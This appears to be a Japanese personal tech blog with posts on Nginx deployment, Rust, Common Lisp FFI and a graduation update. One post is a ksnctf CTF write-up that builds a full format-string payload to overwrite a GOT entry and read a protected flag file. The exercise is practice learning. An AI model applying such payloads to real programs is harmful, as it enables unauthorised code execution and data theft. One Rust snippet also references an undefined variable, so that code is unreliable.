インスタンスでNginxを使って簡単にデプロイする

ローカルのマシンで

python3 -m http.server 5000

をやると5000番ポートにサーバーを立てることができる。

ブラウザでlocalhost:5000を見てみるとディレクトリにあるファイルが一覧で見れる。

さて、これをインスタンスでも同じことをやろうと思う。

まず、インスタンスを簡単に準備する。

f:id:komi1230:20200628174540p:plain
インスタンスSSHで接続

自分はGCPでCompute Engineを使って用意した。

とりあえずPythonをインストールする。

sudo apt install python3

これでできたあと、Pythonでローカルサーバーを立てる。

python3 -m http.server 5000

結論から言うと、このままだとブラウザで http://[外向けIP]としてもアクセスできない。

このアドレスにアクセスできるようにNginxを利用する。

まずNginxをインストールする。

sudo apt install nginx

このあと、 /etc/nginx/conf.d/[何かテキトーな名前].conf というファイルを作り、そこにNginxの設定を書き込む。

server {
     listen 80;
     server_name [外向けIP];   // ここ注意
     location / {
         proxy_pass http://localhost:5000;
     }
}

それぞれの意味として

  • 1行目 server: Nginxサーバーについての設定
  • 2行目 listen: Nginxはデフォで80番ポートを見に行くとかなんとか
  • 3行目 server_name: ドメインとかを書くらしい、今回はIPを直打ち
  • 4行目 localtion / : ルーティングで / にアクセス来た時にプロキシとして飛ばす設定
  • 5行目 proxy_pass: プロキシで飛ばすアドレス。ポート番号注意。

という具合。

この設定が書けたらNginxを起動する

sudo service nginx start

そうして、Pythonでサーバーを立てる。

ポート番号はNginxの設定ファイルと合うようにする。

python3 -m http.server 5000

これでブラウザを見に行くと中身が見れる。

f:id:komi1230:20200628175820p:plain
ブラウザでの表示画面

これで簡単にデプロイができた。

RustのWebフレームワークを触ってみた感想

最近はRustにハマっている。

前までPythonCommon Lispをずっと触っていた人間で、完全に動的型付け言語の脳になっていたのだけど、少し勉強してみようくらいの気持ちでRustを書き始めた。

最初はそんなモチベだったのだけど、気がついたらもうコードを書くときはRustくらい型がしっかりしていないと不安になるようになってしまった。

とにかくRustは書いてて楽しい言語だと思う。

そんなRustだが、サーバーエンジニアリングの言語として触るならどんな感じになるか知りたくなり、今回RustのWebフレームワークを触ってみることにした。

どのフレームワーク

RustのWebフレームワークは結構たくさんある。

ここらへんの比較については以下のページにて比較がなされている。

github.com

流石は勢いのある言語ということもあり、かなりたくさんのWebフレームワークが作られている。

ひとまず、rust web framework と検索してみたらRocketが出てきた(Simple, Fast, Type-Safeと謳っている)のと、あと上記のフレームワーク比較で非同期処理ができるActix-webを触ってみることにした。

Rocket

とりあえずチュートリアルを回してみる。

rocket.rs

ホントに触ってみたらRustのそのままの感じが前面に出てるような感じで、触りやすい印象。

ある程度のお作法はあるものの、そこまで癖がなく簡単に書ける。

実際、ルーティングについても#[hogehoge]というようにアトリビュートをつけるだけで簡単に実装ができる。

#[get("/")]
fn index() -> &'static str {
    "Hello Rocket!"
}

fn main() {
    rocket::ignite()
        .mount("/", routes![index, hoge, hello, bar])
        .launch();
}

これ以外にもテストやStateなどもとても触りやすい形式となっており、かなり素直にWebアプリが実装できるようになっている。

何よりチュートリアルがめちゃくちゃ整っている。

非同期処理ができないのが難点だけども、シンプルなWebアプリをRustで書いてみようとするならRocketはかなり良さそうな印象。

ちなみにちょっと触っててコンパイラがwarningを出してたので直してPRを出したらマージされた。

github.com

Actix-web

Rocketのチュートリアルが終わったので今度はActix-webを触る。

このActix-webというのはRust的にちょっと歴史があるものらしく、Rustの安定版に非同期処理が実装されたのがつい去年の話らしい。

そんなわけだけど、安定版に実装されるまでに非同期処理のランタイムを実装する試みがたくさんあったらしく、Actixはそのうちの1つのtokioというランタイムを用いたアクターモデルの非同期処理フレームワークという位置付けらしい。(多分認識が間違ってるかも)

で、そのActixの非同期処理機構をWeb系にガンガン拡張していって出来上がったのがActix-webというものらしい。

そんな背景だが、とりあえず触ってみる。

actix.rs

Rocketと同様にまずチュートリアルを回してみる。

触った感触としては、基本的にはかなりシンプルな設計だと感じた。

ただ、かなり実践的な用途を考えているらしく、データベースへの連携だったりHTTP/2への対応、graceful shutdownによるホットデプロイメントだったり、かなり豪華な仕様となっている。

まだチュートリアルを全部回しきってはいないが、ここらへんはWeb開発において結構重要そうな云々がフレームワークとしてまとまっているので、是非ともこれからもActix-webを触ってみようと思う。

まとめ

今回はRustのWebフレームワークとしてRocketとActix-webを触ってみた。

どちらも触りやすい感じで、同時にチュートリアル等が整っているので始めやすかった。

今のところは手元でローカルホストでちょっと動きを確かめる程度の感じになっているが、ある程度Actix-webが使い慣れてきたら勉強の意味も兼ねてGCPなりでインスタンスを立てて何かWebアプリを作ってみようと思う。

Common Lispで気に入ってた部分がRustにもあり、今のところは全体的に楽しくコードを書けているので、周りでまだRustを触ってない人は是非一緒にRustを勉強をしましょう。

では、今回はここらへんで。

RustでVec<&str>を返そうとして困った

人は暇になるとLispインタプリターを実装する。

そんなこんなでRustの練習がてら今はRustでLispインタプリタの実装に取り掛かっている。

基本的な要件はラムダ式が扱えてリスト処理、簡単な算術演算ができるようにすること。

前にこの仕様でPythonで実装した。

github.com

これを今回Rustでやろうというわけである。

リストをreturnする

Lispインタプリタを実装する第一歩として、トークナイザを実装することがある。

これはいたって簡単で、Lisp(function arg0 arg1 ...)というようにカッコの頭に関数がきてその後に引数が来る。

つまりトークナイザの実装としては

(func arg0 arg1) 

=> ["(", "func", "arg0", "arg1", ")"]

というように空白区切りでリストへ変換するだけの作業となる。

そんなこんなでこれをRustで実装しようとしたのだが、これにちょっと手こずった。

結論としては以下のコードを実装すれば良い。

fn tokenize(s: &str) -> Vec<String>{
    let spreaded = s.replace("(", " ( ")
                      .replace(")", " ) ");
    
    let tokens: Vec<String> = a.split(" ")
                                 .map(|item| item.to_string())
                                 .collect();

    return tokens;
}

色々試した

上記のコードで動かせばいい感じになるが、あいにくRustユーザーとしてはまだまだ未熟なので色々試行錯誤していた。

最初に書いたコードはこれ。

fn tokenize(s: &str) -> Vec<&str>{
    let tokens: Vec<&str> = s.replace("(", " ( ")
                               .replace(")", " ) ")
                               .split(" ")
                               .collect();

    return tokens;
}

これをやるとerror[E0515]: cannot return value referencing temporary valueと怒られた。

ローカル変数屁の参照を返すなボケと言っている。

これを直すために&strStringを調べてみると、&strはsliceで配列への参照、StringVectorらしい。

ということで今回のケースでは中身に文字列が入ったリスト(ベクトル)をreturnするためにVecの中の文字列の型を&strではなくStringとして記述するべきらしい。

ということで色々試行錯誤する(ここで何度も型を間違えて3時間くらい格闘した)

そんなこんなで色々ググったりして格闘してるうちに上記の動くコードを書くことができた。

反省

ずっとLispPythonという型を明示的に書かない言語を長いこと触っていなかったためにかなり手こずった。

具体的にRustで型を使いこなすにはそれなりに鍛錬が必要な気がするのでこれからはRustで色々書いていこうと思う。

ただ、今回&strStringを間違えていたらなかなかに危険なプログラムが出来上がっていただろうから、Rustの所有権のありがたみとCargoの面倒見の良さに感謝していたりもする。

Rustがんばっていきたい。

村人Aを倒す

久しぶりの更新。

今日はセキュリティの研修があったのだけれど、内容としてはひたすら教科書に書いてある単語の説明をしていくというだけであまりにも退屈で、ちょっと手を動かしたくなったので常設CTFを解いていくことにした。

触ったのはksnctf

実は昔(2年くらい前)に暇でksnctfはバーっと解いていったのだけど、時間が経ってあまりCTF系のことはやらなくなっていったので久しぶりに解いてみようかなとなった次第。

で、今回は対象は村人A

早速解いていく。

村人Aは大人気問題なのでいろいろな人がWrteupをあげているが、今回のエントリーは解説というより単純に自分の理解が曖昧な気がしたので言語化しておこうというノリなのであまり期待しないように。

とりかかる

問題を見てみるとSSHの繋ぎ先とID、Passwordが書いてあるので、SSHで繋げる。

ssh q4@ctfq.sweetduet.info -p 10022

これで見てみるとPasswordが要求されるので打ち込む。

さて、そこまで来ると中身はこうなっている。

f:id:komi1230:20200513181704p:plain
SSHで繋げたらこんな感じ

readme.txtを読んでみるとインターネットに繋げるのとホームディレクトリには書き込み禁止、一時的なディレクトリには /tmp を使ってねとのこと。

そしてflag.txtがあるのでこれをcatで開こうとするが、これは権限がないので無理っぽい。

とりあえずq4が実行ファイルらしいので実行してみると

  • 名前が聞かれる
  • ファイルが見たいか聞かれる。
  • noが入力されるまでやり直し

という具合。

普通に何かやろうとしても無理っぽい。

そこで今回は入力値を入れる形式なので、これによくある不正な値を入れたらどうなるか試してみる。

echo "%x" | ./q4

%xとは16進数。

これをやると名前が400となっている。

f:id:komi1230:20200513182409p:plain
不正な値を入れてみた

どうやらこの手がいけるらしい。

とりあえずこの時点でここに何か不正な値を入力させることでflagが手に入るのだなという方針が立つ。

さて、q4は実行ファイルなのでcatコマンドで中身を見ようとしてもロクなことにはならないので、とりあえず逆アセンブルする。

ということでオブジェクトファイルの静的解析ツールであるところのobjdumpを利用する。

objdump -M intel -D q4

この-M intelというのは逆アセンブルした際のアセンブリ言語をどの文法で記述するかというオプションで、実はAT&T記法よりもIntel記法の方が見やすい気がするのでこのオプションを挟んでいる。

-Dは逆アセンブル(disassemble)のオプション。

そこで見てみると、アセンブリがわーっと出てくる。

f:id:komi1230:20200513183006p:plain
アセンブルしてみた

中のコードを読み進めていくと、mainから始まる部分が見つかるので、そこをよく読んでみる。

080485b4 <main>:
 80485b4:   55                      push   ebp
 80485b5:   89 e5                   mov    ebp,esp
 80485b7:   83 e4 f0                and    esp,0xfffffff0
 80485ba:   81 ec 20 04 00 00       sub    esp,0x420
 80485c0:   c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:   89 04 24                mov    DWORD PTR [esp],eax
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:   89 04 24                mov    DWORD PTR [esp],eax
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:   00 
 8048637:   8d 44 24 18             lea    eax,[esp+0x18]
 804863b:   89 04 24                mov    DWORD PTR [esp],eax
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   eax,eax
 8048645:   0f 94 c0                sete   al
 8048648:   84 c0                   test   al,al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    eax,0x0
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:   08 
 804865e:   8d 44 24 18             lea    eax,[esp+0x18]
 8048662:   89 04 24                mov    DWORD PTR [esp],eax
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   eax,eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    eax,0x0
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:   85 c0                   test   eax,eax
 804868a:   0f 95 c0                setne  al
 804868d:   84 c0                   test   al,al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:   00 
 80486bf:   8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:   89 04 24                mov    DWORD PTR [esp],eax
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:   89 04 24                mov    DWORD PTR [esp],eax
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    eax,0x0
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

これを読んでると、アドレス80485e4のところと804863efgetsがあり、アドレス80486a0のところにfopen関数があるのがわかる。

この実行ファイルのソースコードは知らないけど、先ほどの不正な入力値に対しての結果から

int main(void){
    char some_text[24];
    fgets(some_text, 24, stdin);
    printf(fgets);

    return 0;
}

みたいなことをしていると想像がつく。」

要するにprintfでフォーマットを指定することなく標準出力している。

ここから、今回のタスクは

  • q4に不正な値を入力する
  • どれかの関数のをコントロールし、fopen関数を叩いてくれるように誘導する

ということだとわかる。

さて、早速取り掛かるのだが、まず最初にq4に入力値を渡したとき、入力値がスタックの何番目にくるかを確認しておきたい。

ということで、以下のようなコマンドを実行してみる。

echo 'AAAA %x,%x,%x,%x,%x,%x,%x' | ./q4

そうすると

f:id:komi1230:20200513184522p:plain
入力値がスタックのどこに入ってくるかを確認

のように6番目に41414141が入ってるのを確認できる。

AのASCIIコードは41なので、6番目に入力した値が入ってくることがわかる。

ちなみに

echo "AAAABBBB,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4

とすると、6番目に41414141が入り、7番目に42424242が入るのが確認できる。

とにかく、入力した値は6番目に以降に16byteずつ入ってくとわかる。

Exploit

以上をもとに、攻撃を仕掛けていく。

今回はmainの中で使っているputs関数のメモリアドレスをfopen関数に書き換えるという方針でいく。

今回重要なのがprintfにおけるフォーマット指定子で、%nを使う。

これは特定のスタックに出力バイト数を書き込むというもので、

int count;
printf("%d%n", 1234567, &count)

とするとcountには7が書き込まれるというわけである。

(ちなみに今回はこの%nを使ってexploitするわけだが、これを悪用したケースが多発したためにC11において廃止された)

%nは4byte、%hnは2byte、%hhnは1byte書き込む。

よって、今回のケースでは

echo 'AAAA%6$hhn' | ./q4

とすると、6番目のスタック領域に4が書き込まれることとなる。

ここから、

echo '[何かしらの文字列]%6$hhn%7$hhn...' | ./q4

とすれば入力値の領域に色々書き込めるということがわかる。

そして、この[何かしらの文字列]の部分にfopen関数のアドレスに相当するものを書き込めば、puts関数のアドレスの書き込み先をfopenにすることができてfopenを意図せぬ形で動かすということができるようになる。

まず、puts関数は

080484c4 <puts@plt>:
 80484c4:   ff 25 f4 99 04 08       jmp    DWORD PTR ds:0x80499f4
 80484ca:   68 30 00 00 00          push   0x30
 80484cf:   e9 80 ff ff ff          jmp    8048454 <_init+0x30>

というようになっており、またfopen関数は

080484a4 <fopen@plt>:
 80484a4:   ff 25 ec 99 04 08       jmp    DWORD PTR ds:0x80499ec
 80484aa:   68 20 00 00 00          push   0x20
 80484af:   e9 a0 ff ff ff          jmp    8048454 <_init+0x30>

となっている。

puts関数は0x80499f4に書き込まれるので、これを0x8048691に書き換える。

今回のシステムは32bitのCentOSなので、0x80499f4から始まる各アドレスに2byteずつ書き込んでいく。

書き込み方としてはこの画像がわかりやすい。

f:id:komi1230:20200513215800p:plain
ここより引用

ここでは指定したバイト数だけ出力してくれる%cというフォーマット指定子を使い、各アドレスに入力していく値を調整していく。

具体的に、この画像では最初にx91(10進数では145)をアドレスに割り当てるが、文字列では16byte分しかないので%cを129個分出すことによって145に相当する出力byteを%6$hhnに書き込む。

注意点として、入力では2byteずつしか格納できないので、適宜256byte分くり上げることで出力値をコントロールする。

この例として、4番目のx08を入力する際は3番目にx04を入力しているので追加で4byte分%cで増やしてあげればいいが、2番目のx86を出力するところでは1番目にx145を出力しており、すでに145byte出力しているので134-145は₋になってしまう。

つまり、これ以降の出力は大きい値でないといけないのだが、32bitのOSだということを利用して256byte分繰り上げれば良い(例えば0x132は0x32として格納される)

これらの性質を利用しつつちょこっと計算すれば

echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

puts関数をfopen関数へ無理やり飛ばす不正な文字列である。

まとめ

今回は村人Aの簡単な解法をまとめてみた。

随分と久しぶりにCTFをやったけど、このPwnの超絶基礎問題の村人Aに割と手こずってしまった気がする。

ただ、最近はずっと開発ばかりしていたのでたまにはこういう遊びも良いのかもしれない。

自分はセキュリティエンジニアでもないし恐らくこの手のテクニックはあまり役に立つことはないのかもだけど、単純に楽しいのでこれから定期的にCTFの勉強もやっていこうと思う。

また、アルゴリズム系についても基礎力がほぼゼロみたいな感じなのでLeetCodeなども適宜やっていこうと思う。

日々精進。

CFFIでGRを叩く

今日も今日とてKaiの開発。

先日にPlotlyの分のある程度が完成したので現在はバックエンドをGRに拡張するために色々やっている。

今日少しGRに着手するための作業が完了したのでそのメモ。

CFFI

CFFIはC言語へのFFI (Foreign Function Interface)を行うCommon Lispのライブラリ。

これの具体的な使い方はmasatoiさんのこの記事がすごくよくまとまっている。

qiita.com

この記事を参考にGRの共有オブジェクトを触っていく。

実際にやってみる

上記の記事を参考にやってみる。

GRのサンプルコード(C言語)は以下の通りで

#include <gr.h>

int main(void) {
    double x[] = {0, 0.2, 0.4, 0.6, 0.8, 1.0};
    double y[] = {0.3, 0.5, 0.4, 0.2, 0.6, 0.7};
    gr_polyline(6, x, y);
    gr_axes(gr_tick(0, 1), gr_tick(0, 1), 0, 0, 1, 1, -0.01);
    // Press any key to exit
    getc(stdin);
    return 0;
}

今回はこれを動かすのを目標とする。

最初にGRのバイナリをダウンロードしてくる。

リンクはここから。

github.com

準備ができたら、まずQuicklispでCFFIをロードする。

(ql:quickload :cffi)

次にGRの共有オブジェクトをロードする。

(defparameter path-to-gr "~/Downloads/gr")

(cffi:load-foreign-library
  (merge-pathnames "gr/lib/libGR.so" path-to-gr))

そしてウィンドウを立ち上げるための初期化関数などを用意。

(cffi:defcfun ("gr_initgr" initgr) :void)

(cffi:defcfun ("gr_opengks" opengks) :void)

(cffi:defcfun ("gr_closegks" closegks) :void)

このあとサンプルコードをひたすらCFFIの記法へと変換していくが、その前に環境変数を設定しておく(これがめっちゃ大切)

(setf (uiop:getenv "GRDIR") path-to-gr)

(setf (uiop:getenv "GKS_FONTPATH") path-to-gr)

さて、準備はできたのであとは上記のサンプルコードをCFFIの記法に変換していく。

(defparameter *x*
  (cffi:foreign-alloc :double
                      :initial-contents
                      (list 0.0d0 0.2d0 0.4d0 0.6d0 0.8d0 1.0d0)))
(defparameter *y*
  (cffi:foreign-alloc :double
                      :initial-contents
                      (list 0.3d0 0.5d0 0.4d0 0.2d0 0.6d0 0.7d0)))

(cffi:defcfun ("gr_polyline" polyline) :void
  (n :int)
  (x :pointer)
  (y :pointer))

(cffi:defcfun ("gr_tick" tick) :double
  (a :double)
  (b :double))

(cffi:defcfun ("gr_axes" axes) :void
  (x-tick :double)
  (y-tick :double)
  (x-org :double)
  (y-org :double)
  (major-x :int)
  (major-y :int)
  (tick-size :double))

これで準備は終わり。

追記.

実際のコードを書いてみて色々動かしているとき、試しに (polyline '(1 2 3) '(1 2 3)) としてみたところ、ウィンドウは出てくるが何も描画されず焦っていた。

検証をしてみたところ、どうやらGRは0-1の浮動小数点を相対座標として読み込んで画面に描画している ので、1より大きい値は表示されないことに注意。

早速動かしてみる。

(initgr)

(polyline 6 *x* *y*)

これを実行すると以下のようになる。

f:id:komi1230:20200412171735p:plain
線が描画された

次にaxesの部分を実行する。

(axes (tick 0d0 1d0) (tick 0d0 1d0) 1d0 1d0 1 1 -0.01d0)

そうすると以下の通りで追加で描画される。

f:id:komi1230:20200412171909p:plain
後から追加で描画された

まとめ

これにて手元でGRをCommon Lispから動かすことができた。

今後もKaiの開発を進めていこうと思う。

ところで途中で用意したopengksとかclosegksはどういうケースで使うのだろう?

個人的なイメージとしてはopengksを叩くことによってウィンドウが立ち上がるようなイメージだったのだけど、どうやらそうではないらしい。

謎だ。

Common Lispでディストリビューションを調べる

Common Lispにはランタイムの環境情報を取ることできる。

基本的には *features* にリスト形式で入っており、OSごとに動作を変えるようなプログラムは#+win32 (some-function args ...) というノリで書く。

具体例として、ブラウザを開く関数定義として

(defparameter +format-string+
  #+(or win32 mswindows windows)
  "explorer ~S"
  #+(or macos darwin)
  "open ~S"
  #-(or win32 mswindows macos darwin windows)
  "xdg-open ~S")

(trivial-open-browserより拝借)

コードを見れば雰囲気は掴めると思うが一応説明しておくと、

  • #+hoge*features*hogeある場合に実行
  • #-hoge*features*hogeない場合に実行

という具合である。

ちなみに環境情報を取ってくる関数なども用意してあり、例えばOSやCPUのアーキテクチャなどを

* (software-type)
; => "Darwin" (macOSの場合)
; => "win32" (Windowsの場合)
; => "Linux" (Linuxの場合)

* (software-version)
; => "19.4.0"

* (machine-type)
; => "X86-64"

というような形で調べることができる。

実はちょっと問題がある

さて、上記のように見た感じだと基本的には問題が無さそうだが、実は一つ困ったことがある。

それは、OSがmacOSWindowsの場合は上記の通りであるが、Linuxの場合はLinuxと出力されることである。

(...別に問題ないのでは?)

まあそのような気持ちになるが、Linuxにも色々あるわけである。

そう、ディストリビューションである。

Ubuntuを始めとしたDebian系だったりCentOSを始めとしたRed Hat系と、まあ色々である。

とりあえずこの使っているディストリビューションが何系なのかをCommon Lispで確認しようと思う。

Common Lispからシェルコマンドを叩く

結論として、シェルコマンドを叩くことで解決する。

Linuxでは

$ cat /etc/*-release

=> 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.3 LTS"
NAME="Ubuntu"
VERSION="18.04.3 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.3 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

によって環境情報を取ってくることができる。

この出力の中で ID がどのディストリか、また ID_LIKE がどの系列のディストリであるかを示している。

ちなみにこの例の出力はUbuntuである(Dockerでやってみた)

さて、Common Lisp (SBCL)でシェルコマンドを叩くためには Quicklisp経由でtrivial-shell を使うか sb-ext:run-program を使う。

ここではtrivial-shellを用いる。

このエントリーを書いたあとに @hyotang666 さんから

  • trivial-shellは関数名をポータブルにしただけで引数や返り値は処理系依存
  • uiopは処理系がすでに提供しているのでquicklispで入れなくていい

の2点から trivial-shell より uiop:run-program を使うべきであると教えていただきました。

ご指摘ありがとうございました。

さて、コードは以下の通りとなる。

;; Quicklispでロード
(ql:quickload :trivial-shell)


;; 文字列を改行ごとに分割してリストへ格納する関数
(defun split (x str)
  (let ((pos (search x str))
        (size (length x)))
    (if pos
      (cons (subseq str 0 pos)
            (split x (subseq str (+ pos size))))
      (list str))))


;; uiopでコマンドを簡略化したもの
(defun system (cmd-str)
  (uiop:run-program cmd-str
                    :output :string))

;; OSがLiinuxである場合にディストリを取ってくる
(defun get-dist ()
  (let ((os-data (split (string #\Newline)
                        (system "cat /etc/*-release"))))
    (loop for i in os-data
          if (search "ID=" i)
          do (return (subseq i 3)))))


(defun get-os ()
  #+(or win32 mswindows windows) ; Windows
  "windows"
  #+(or macos darwin) ; macOS
  "darwin"
  #-(or win32 mswindows macos darwin windows) ;Linux
  (get-dist))

これによってCommon LispLinuxディストリビューションを調べることができる。

まとめ

今回はCommon LispLinuxのディストリを調べる方法をまとめた。

今回のこれの動機として、現在開発中のCommon Lisp用プロッターであるKaiのバックエンドにGRを使えるように拡張しようとしていた。

github.com

その際にGRのバイナリを利用する必要があったのだが、これがディストリビューションごとによって異なるのである。

GRのページ : https://gr-framework.org/c.html

今回ディストリを調べることによってディストリごとにバイナリのダウンロードクライアントを実装することができたので、晴れてこれからバックエンド拡張の実装に取り掛かることができる。

これからはひたすらCFFIで無限にFFIしていくことになりそうなので、気合入れて開発していこうと思う。

最後に、Kaiは現在すでにある程度使えるレベルになっているので、ぜひ触ってみて感想を欲しい。

ついでにスター押して欲しい。

京都大学を卒業した&東京に引っ越した&色々

f:id:komi1230:20200327155907j:plain
春っぽい画像を用意してみた。特に意味はない。

卒業と引っ越し

2020年3月24日をもって京都大学を卒業した。

ついでに3月から両国に住み始めた。

こんな具合で自分のプライベートに関してはかなり変化があった。

ただ最近話題のCOVID-19のおかげもあって、引っ越したての頃は全くトイレットペーパーやティッシュが手に入らずに四苦八苦したり各種イベントが吹き飛んだり、まあ色々。

卒業式が公式に催されることが無くなったということで別に大学は閑散としてるだろうからわざわざ京都に行かなくてもいいかという考えのもと学位記は大学の事務の人に東京の家へ郵送してもらうことにしたのだが、ツイッターやらFacebookを見ているとどうやら大学の同期はみんなスーツや袴(ちょこちょこ仮装)を着て大学に集まり写真を撮っていたらしい。

なんだかモヤッとした感じのまま卒業してしまった。

まあそんなこともあるだろう。

そんなこんなで今は東京でのんびり過ごしている。

社会人へ

さて、4月からはとうとう社会人となる。

自分はソフトバンクに内定していて、4月1日の入社式では新入社員700人の代表として孫さんの前で答辞を読むことになっているのだけど、昨今の経済情勢を鑑みるにまだ内定切りの可能性もあるのでまだ油断ならない。

まあ流石に無さそうだが。

学生期間中はちょこちょこインターンなどでフルタイムで働いていたので1日8時間程度働くことについては肌感覚として分かっているつもりで、というか2月末まで京都でほぼフルタイムでアイフルで働いていたので、4月からは社会人としての云々が始まるというより働く場所が変わるくらいの感覚。

とりあえずがんばっていこうと思う。

バイト先を退職

ちなみに今この文章を書いていて思い出したのだけど、アルバイトとして約9ヶ月程度働いたアイフル株式会社を3月をもって(卒業するので)退職した。

出勤日自体は2月末までで、有給を消化し終えたのが3月。

アイフルではほぼほぼフルスタックエンジニアみたいな働き方をしていて、前半の方はインフラのセットアップ(GCP)からサーバー、フロントまで色々やっていたけど後半の方は人が増えてきたのもあってマネジメントとか要件定義とかマネージャーっぽい何かをやっていた。

金融系企業(いわゆるJTC)でエンジニアリング組織の立ち上げをやるのは良くも悪くもかなりの苦労と学びがあり、学生という立場であるにも関わらずそれなりに責任のある仕事を任せてもらった上に様々な経験をさせてもらったのはかなり良い収穫だったと今では思う。

退職エントリーみたいなのを書こうかなと一瞬考えたり考えなかったりという感じだったが、正社員じゃないのに退職エントリーを書くのはなんか違うかなーという思いと、この4, 5月から技術顧問という形で再入社(?)することになるので、退職エントリーについては見送りということしておき、このエントリーにて簡単に報告という形で済ませておこうと思う。

Kaiの進捗

ついでにもう一つ報告で、現在開発中のOSSとしてCommon Lisp用プロッターのKaiを作っているのだが、それがある程度動くようになった。

github.com

2019年のソフトバンクAI部のアドベントカレンダーCommon Lisp愛を熱く語り、最後に自作OSSとしてKaiの初期バージョンを発表するというのをやったのだけど、その際はKaiのバックエンドにはOpenGLを採用していた。

komi.hatenadiary.com

ただまぁこれがなんとも汚いというか、描画したときのデザイン感が気持ち悪すぎてちょっと無理になった。

具体的に、線を描画するくらいのところまでは開発を進めたのだけど、線のつなぎ目が気持ち悪かったりウィンドウ内の文字のフォントがWindowsOSかよってくらい汚くて、これはもう自分の美学には反するということで開発を中断し、バックエンドをWebGLに差し替えることにした。

そんなわけでのんびりたらたら作っていたわけだけど、ようやく動かせるレベルにまで至ったわけである。

一応現在使える機能としては

  • 線プロット(領域塗り潰しも)
  • 点プロット
  • 棒グラフ
  • 円グラフ
  • Sunburst

あたり。

Sunburstってのはこんなやつ。

これから実装予定なのは

  • ヒートマップ
  • 等高線(Contour)
  • 3Dプロット

を考えている。

Common Lispで使えるプロッターはかなりサーベイしたのだけど、どうやらどのライブラリも線プロットと点プロットが限界らしいので既に棒グラフや円グラフを使えるようにしているKaiはCommon Lisp用プロッターで一番高機能なライブラリなのではないかと思っている(あくまで思っているだけ)(もっと優秀なやつがあるかもしれない)

また、Kaiの今後の発展可能性として、上記の機能を追加に加え、バックエンドを柔軟にスイッチできるようにしようと考えている。

具体的に、現在はWebGLベースのPlotlyをバックエンドのメインとして開発を進めているが、これからデスクトップ環境での描画媒体としてGRやPyPlot、Gnuplotにも対応していこうと考えている。

これほどの野望となると開発期間もかなり長くなっていきそうだが、まああくまで趣味程度にのんびり開発を進めていき、いつの日にかKaiがCommon Lispのプロッターライブラリでデファクトスタンダードになってくれればいいなと考えている。

Kaiについては乞うご期待(入社してから忙しすぎて開発が全く進まなくなったら察して欲しい)

まとめ

以上、色々雑多に色々まとめたが、こんな具合である。

